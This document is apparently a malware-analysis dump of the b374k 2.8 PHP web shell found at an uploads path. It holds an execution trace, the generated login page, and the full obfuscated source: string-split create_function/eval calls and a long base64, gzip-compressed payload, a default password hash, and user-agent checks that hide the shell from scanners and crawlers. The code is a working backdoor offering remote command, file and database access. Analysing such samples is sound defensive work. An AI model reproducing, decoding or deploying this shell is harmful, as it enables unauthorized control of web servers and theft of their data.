timer = \'\'; var x = \'<?php if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'ps\')) echo "ps"; ?>\'; var sself = \'<?php echo adds($s_self); ?>\'; var hexcounter = 0; var hextimer = \'\'; var counter = 0; </script> <?php echo get_code("js", $s_js); ?> <script type=\'text/javascript\'> domready(function(){ <?php if(isset($_GP[\'cmd\'])) echo "if(d.getElementById(\'cmd\')) d.getElementById(\'cmd\').focus();"; ?> <?php if(isset($_GP[\'evalcode\'])) echo "if(d.getElementById(\'evalcode\')) d.getElementById(\'evalcode\').focus();"; ?> <?php if(isset($_GP[\'sqlcode\'])) echo "if(d.getElementById(\'sqlcode\')) d.getElementById(\'sqlcode\').focus();"; ?> <?php if(isset($_GP[\'login\'])) echo "if(d.getElementById(\'login\')) d.getElementById(\'login\').focus();"; ?> <?php if(isset($_GP[\'hexedit\'])) echo "showhex();"; ?> if(d.getElementById(\'cmd\')) d.getElementById(\'cmd\').setAttribute(\'autocomplete\', \'off\'); var textareas = d.getElementsByTagName(\'textarea\'); var count = textareas.length; for(i = 0; i<count; i++){ textareas[i].onkeydown = function(e){ if(e.keyCode==9){ e.preventDefault(); var s = this.selectionStart; this.value = this.value.substring(0,this.selectionStart) + "\\t" + this.value.substring(this.selectionEnd); this.selectionEnd = s+1; } else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ this.form.submit(); } } } listen(); }); </script> </body> </html><?php $s_html = ob_get_contents(); ob_end_clean(); $whitespace = "/(\\s{2,}|\\n{1,})/"; $s_html = preg_replace($whitespace, " ", $s_html); $s_html = str_replace("__RESULT__", $s_result, $s_html); echo $s_html; die(); ?>'	/var/www/html/uploads/leb.php(10) : runtime-created function	1	0
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$s_pass = 'fb621f5060b9f65acf8eb4232e3024140dea2b34'
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$s_ver = '2.8'
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$s_title = 'b374k 2.8'
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$s_login_time = 604800
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$s_debug = FALSE
4	10	0	0.014278	1442160	ob_start	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	0
4	10	1	0.014295	1458672
4	10	R			TRUE
4	11	0	0.014311	1458672	set_time_limit	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	0
4	11	1	0.014331	1458736
4	11	R			FALSE
4	12	0	0.014345	1458704	ini_set	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	2	'html_errors'	'0'
4	12	1	0.014362	1458776
4	12	R			'1'
4	13	0	0.014376	1458704	clearstatcache	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	0
4	13	1	0.014390	1458704
4	13	R			NULL
4	14	0	0.014403	1458704	define	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	2	'DS'	'/'
4	14	1	0.014419	1458808
4	14	R			TRUE
4	15	0	0.014433	1458736	clean	1		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	[]
5	16	0	0.014448	1458736	ini_get	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	'magic_quotes_sybase'
5	16	1	0.014463	1458768
5	16	R			FALSE
5	17	0	0.014476	1458736	strtolower	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	FALSE
5	17	1	0.014491	1458768
5	17	R			''
4		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$quotes_sybase = ''
5	18	0	0.014517	1458736	function_exists	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_magic_quotes_gpc'
5	18	1	0.014532	1458776
5	18	R			TRUE
5	19	0	0.014546	1458736	get_magic_quotes_gpc	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	0
5	19	1	0.014560	1458736
5	19	R			FALSE
4	15	1	0.014574	1458736
4	15	R			[]
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$_POST_POST = []
4	20	0	0.014601	1458736	clean	1		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	[]
5	21	0	0.014616	1458736	ini_get	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	'magic_quotes_sybase'
5	21	1	0.014630	1458768
5	21	R			FALSE
5	22	0	0.014643	1458736	strtolower	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	FALSE
5	22	1	0.014657	1458768
5	22	R			''
4		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$quotes_sybase = ''
5	23	0	0.014682	1458736	function_exists	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_magic_quotes_gpc'
5	23	1	0.014697	1458776
5	23	R			TRUE
5	24	0	0.014710	1458736	get_magic_quotes_gpc	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	0
5	24	1	0.014723	1458736
5	24	R			FALSE
4	20	1	0.014736	1458736
4	20	R			[]
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$_GET_GET = []
4	25	0	0.014762	1458736	clean	1		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	[]
5	26	0	0.014776	1458736	ini_get	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	'magic_quotes_sybase'
5	26	1	0.014789	1458768
5	26	R			FALSE
5	27	0	0.014807	1458736	strtolower	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	FALSE
5	27	1	0.014821	1458768
5	27	R			''
4		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$quotes_sybase = ''
5	28	0	0.014846	1458736	function_exists	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_magic_quotes_gpc'
5	28	1	0.014861	1458776
5	28	R			TRUE
5	29	0	0.014873	1458736	get_magic_quotes_gpc	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	0
5	29	1	0.014886	1458736
5	29	R			FALSE
4	25	1	0.014899	1458736
4	25	R			[]
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$_COOKIE_COOKIE = []
4	30	0	0.014926	1458736	array_merge	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	2	[]	[]
4	30	1	0.014942	1458856
4	30	R			[]
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$_GP = []
4	31	0	0.014966	1458792	array_map	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	2	'ru'	[]
4	31	1	0.014982	1458920
4	31	R			[]
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$_GP = []
4	32	0	0.015006	1458792	error_reporting	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	0
4	32	1	0.015020	1458832
4	32	R			0
4	33	0	0.015033	1458792	ini_set	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	2	'display_errors'	'0'
4	33	1	0.015048	1458864
4	33	R			''
4	34	0	0.015061	1458792	ini_set	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	2	'log_errors'	'0'
4	34	1	0.015076	1458864
4	34	R			'1'
3		A						/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	$s_auth = FALSE
4	35	0	0.015101	1458792	trim	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	'fb621f5060b9f65acf8eb4232e3024140dea2b34'
4	35	1	0.015116	1458824
4	35	R			'fb621f5060b9f65acf8eb4232e3024140dea2b34'
4	36	0	0.015134	1458792	preg_match	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	2	'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i'	'python-requests/2.25.1'
4	36	1	0.015154	1458856
4	36	R			1
4	37	0	0.015167	1458792	header	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	'HTTP/1.0 404 Not Found'
4	37	1	0.015183	1458848
4	37	R			NULL
4	38	0	0.015195	1458816	header	0		/var/www/html/uploads/leb.php(10) : runtime-created function(1) : eval()'d code	1	1	'Status: 404 Not Found'
4	38	1	0.015213	1458912
4	38	R			NULL
			0.015253	1363168
TRACE END   [2023-02-12 21:00:05.646670]


Generated HTML code

<html><head> <title>b374k 2.8</title> <meta charset="utf-8"> <meta name="robots" content="noindex, nofollow, noarchive"> <link rel="SHORTCUT ICON" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC"> <link rel="stylesheet" type="text/css" href="?|"> </head> <body> <table id="main"><tbody><tr><td> <div style="width:100%;text-align:center;"> <form action="?" method="post"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC" style="margin:2px;vertical-align:middle;"> b374k&nbsp;<span class="gaya">2.8</span><input id="login" class="inputz" type="password" name="login" style="width:120px;" value=""> <input class="inputzbut" type="submit" value="Go !" name="submitlogin" style="width:80px;"> </form> </div> </td></tr></tbody></table> <p class="footer">Jayalah Indonesiaku ©2023 b374k</p> <script type="text/javascript"> var d = document; var scroll = false; var cwd = ''; var hexstatus = false; var timer = ''; var x = ''; var sself = '?'; var hexcounter = 0; var hextimer = ''; var counter = 0; </script> <script type="text/javascript" src="?!"></script> <script type="text/javascript"> domready(function(){ if(d.getElementById('cmd')) d.getElementById('cmd').setAttribute('autocomplete', 'off'); var textareas = d.getElementsByTagName('textarea'); var count = textareas.length; for(i = 0; i<count; i++){ textareas[i].onkeydown = function(e){ if(e.keyCode==9){ e.preventDefault(); var s = this.selectionStart; this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd); this.selectionEnd = s+1; } else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ this.form.submit(); } } } listen(); }); </script>  </body></html>

Original PHP code

<?php
/*
	b374k 2.8
	Jayalah Indonesiaku
	(c)2013
	http://code.google.com/p/b374k-shell

*/
$s_pass = "fb621f5060b9f65acf8eb4232e3024140dea2b34";  // default password : b374k (login and change to new password)
$s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y','ev'.'al'.'("\$s_pass=\"$y\";?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("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